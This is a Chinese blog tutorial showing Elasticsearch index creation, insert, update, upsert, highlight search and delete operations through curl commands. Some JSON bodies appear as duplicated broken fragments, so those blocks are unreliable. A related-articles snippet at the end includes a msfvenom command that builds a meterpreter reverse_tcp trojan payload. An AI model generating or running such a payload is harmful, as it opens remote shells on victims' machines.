记录一下,elasticsearch从创建索引到插入数据的一个crud操作。

一、创建索引

curl -XPUT "http://192.168.99.1:9200/productindex" -d'
{
"settings": {
"number_of_shards": 1,
"number_of_replicas": 1
},
"mappings": {
"product" : {
"properties": {
"name" : {
"type": "text",
"fielddata": true
},
"price" : {
"type": "long"
}
}
}
}
}'

二、插入数据

1、如果需要插入的数据已经存在,那么执行替换操作,如果不存在则执行插入操作

注意: 1、此处是手动指定的id的值

                  2、如果productindex/product/1 这个数据存在,如果请求体中只有name字段,那么这行数据的price字段就会被删除,即执行的是替换操作,而不是更新操作

curl -XPUT "http://192.168.99.1:9200/productindex/product/1" -d'
{
"name" : "pen",
"price" : 2
}'

2、如果数据已经存在,那么就报错,不存在则执行插入操作

注意:此处只需要加上_create或加上op_type=create即可

curl -XPUT "http://192.168.99.1:9200/productindex/product/1?op_type=create" -d'
{
"name" : "new pen",
"price" : 2
}'

 或

curl -XPUT "http://192.168.99.1:9200/productindex/product/1/_create" -d'
{
"name" : "new pen",
"price" : 2
}'

 3、插入数据的时候自动生成id的值

注意:此处就需要使用post请求,而不是使用put请求。

curl -XPOST "http://192.168.99.1:9200/productindex/product" -d'
{
"name" : "pen",
"price" : 2
}'

三、修改数据

1、使用_update或op_type=update指定修改,数据不存在报错

curl -XPOST "http://192.168.99.1:9200/productindex/product/1/_update" -d'
{
"doc": {
"name" : "update new name"
}
}'
_update" -d'
{
"doc": {
"name" : "update new name"
}
}'

2、使用乐观锁version控制修改(防止在并发情况下数据修改有误)

后方的这个version的值为数据当前的版本号,如果es中这个数据的版本号发生了变化,则修改失败。

curl -XPOST "http://192.168.99.1:9200/productindex/product/1/_update?version=7" -d'
{
"doc": {
"name" : "update new name"
}
}'
version=7" -d'
{
"doc": {
"name" : "update new name"
}
}'

3、使用upsert操作,如果数据不存在则执行upsert部分(插入操作),否则执行更新操作

curl -XPOST "http://192.168.99.1:9200/productindex/product/12/_update" -d'
{
"doc":{
"name":"update new value"
},
"upsert" : {
"name" : "数据不存在执行插入操作",
"price" : 1
}
}'

或执行如下操作 (使用doc_as_upsert,如果文档不存在,则将doc的部分当做upsert的部分)

curl -XPOST "http://192.168.99.1:9200/productindex/product/13/_update" -d'
{
"doc":{
"name":"update new value"
},
"doc_as_upsert" : true
}'
"doc_as_upsert" : true
}'

四、高亮查询

1、插入一条新的数据

curl -XPUT "http://192.168.99.1:9200/productindex/product/29" -d'
{
"name" : "new name",
"desc" : "this is a desc field"
}'

2、匹配name字段中有has name的值或desc字段中有desc的值,并对匹配到的值进行高亮

curl -XGET "http://192.168.99.1:9200/productindex/product/_search" -d'
{
"query": {
"bool": {
"should": [
{
"match": {
"name": "has name"
}
},
{
"term": {
"desc": {
"value": "desc"
}
}
}
]
}
},
"highlight": {
"pre_tags": "<span style=\"color:red\">",
"post_tags": "</span>",
"fields": {
"name" : {
"pre_tags": "<span style=\"color:blue\">",
"post_tags": "</span>"
},
"*" : { }
}
}
}'

五、删除数据

1、删除id=1的数据

curl -XDELETE "http://192.168.99.1:9200/productindex/product/1"

elasticsearch入门(简单的crud操作)的更多相关文章

  1. sitecore开发入门Sitecore的CRUD操作 - 第二部分

    在上一篇(sitecore开发入门Sitecore的CRUD操作 - 第一部分)中我们讨论了如何使用Sitecore Item API,Glass,Fortis和Synthesis在Sitecore中 ...

  2. ASP.NET Core MVC+Layui使用EF Core连接MySQL执行简单的CRUD操作

    前言: 本章主要通过一个完整的示例讲解ASP.NET Core MVC+EF Core对MySQL数据库进行简单的CRUD操作,希望能够为刚入门.NET Core的小伙伴们提供一个完整的参考实例.关于 ...

  3. 8天掌握EF的Code First开发系列之2 简单的CRUD操作

    本文出自8天掌握EF的Code First开发系列,经过自己的实践整理出来. 本篇目录 创建控制台项目 根据.Net中的类来创建数据库 简单的CRUD操作 数据库模式更改介绍 本章小结 本人的实验环境 ...

  4. 【SSH三大框架】Hibernate基础第五篇:利用Hibernate完毕简单的CRUD操作

    这里利用Hibernate操作数据库完毕简单的CRUD操作. 首先,我们须要先写一个javabean: package cn.itcast.domain; import java.util.Date; ...

  5. Spring Data MongoDB 一:入门篇(环境搭建、简单的CRUD操作)

    一.简介 Spring Data  MongoDB 项目提供与MongoDB文档数据库的集成.Spring Data MongoDB POJO的关键功能区域为中心的模型与MongoDB的DBColle ...

  6. hibernate入门-基本配置及简单的crud操作

    框架来说主要是需要写大量的配置文件,hibernate相比mybatis来说更强大,移植性更好: 1.类和数据库的映射配置:配置文件命名一般--类名.hbm.xml (user.hbm.xml),与实 ...

  7. ElasticSearch基础+文档CRUD操作

    本篇博客是上一篇的延续,主要用来将年前学习ES的知识点做一个回顾,方便日后进行复习和汇总!因为近期项目中使用ES出现了点小问题,因此在这里做一个详细的汇总! [01]全文检索和Lucene (1)全文 ...

  8. ELK学习实验004:Elasticsearch的简单介绍和操作

    一 集群节点 Elstaicsearch的集群是由多个节点组成都,通过cluster.name设置集权名称,比能切用与区分其他的集群,每个节点通过node.name指定节点 在Elasticsearc ...

  9. sitecore开发入门Sitecore的CRUD操作 - 第一部分

    在本文中,讨论如何使用Sitecore.Data.Items.Item并对这些项执行CRUD(创建,读取,更新和删除)操作.我还将介绍如何使用Glass和Fortis类库进行相同的操作,这些操作都是对 ...

随机推荐

  1. IKEv2协议协商流程: (IKE-SA-INIT 交换)第二包

    IKEv2协议协商流程: (IKE-SA-INIT 交换)第二包 文章目录 IKEv2协议协商流程: (IKE-SA-INIT 交换)第二包 1. IKEv2 协商总体框架 2. 第二包流程图 3. ...

  2. 通过HttpURLConnection下载图片到本地--批量下载

    一.背景说明 这篇文章讲述的是批量下载附件,在上一篇文章中,介绍了下载单个附件(上一篇文章). 二.实现思路 主要的实现思路:创建文件夹->文件夹中创建需要下载的文件->压缩文件夹-> ...

  3. Powershell配合word伪装木马执行

    环境: win7 64位,word2013 生成木马 msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.64.135 LPOR ...

  4. linux主机安全加固-个人经验

    说明:我并没有一个系统的网络安全知识体系,随笔里面提到的内容是个人在从事运维行业这几年中总结出来的一点经验,仅供大家参考. 说到linux主机安全加固,我可以想到的就是三个方向吧,基线整改.访问控制和 ...

  5. angularjs $http.get 和 $http.post 传递参数

    $http.get请求数据的格式 $http.get(URL,{ params: { "id":id } }) .success(function(response, status ...

  6. Elasticsearch-head插件的安装与配置

    第一种: 通过浏览器添加插件 通过chrome安装插件的方式提供一个可操作es的图形化界面. 在chrome 浏览器中,通过"扩展程序" 添加 elasticsearch head ...

  7. 优雅的编码,使用Optional代替if-else

    Optional是JAVA8引入的类,它其实是一个包装类,可以对所有对象进行包装, 包括null,这个特性使得我们编码可以优雅的解决空指针异常. 先编写一些测试类 class Student { pr ...

  8. 学习PHP中的信息格式化操作

    在国际化组件的学习过程中,我们已经接触过了 NumberFormatter 这种数字的格式化操作,它可以让我们将数字转换成标准格式.货币.本地语言等形式.今天我们来学习的是另一种专门用于信息格式化的类 ...

  9. 【PHP数据结构】完全二叉树、线索二叉树及树的顺序存储结构

    在上篇文章中,我们学习了二叉树的基本链式结构以及建树和遍历相关的操作.今天我们学习的则是一些二叉树相关的概念以及二叉树的一种变形形式. 完全二叉树 什么叫完全二叉树呢?在说到完全二叉树之前,我们先说另 ...

  10. 变着花样来接参,PHP中接收外部参数的方式

    对于PHP这样一个web语言来说,接参是非常重要的一个能力.毕竟从前端表单或异步请求传递上来的数据都要获取到才能进行正常的交互展示.当然,这也是所有能够进行web开发的语言的必备能力.今天我们就来看看 ...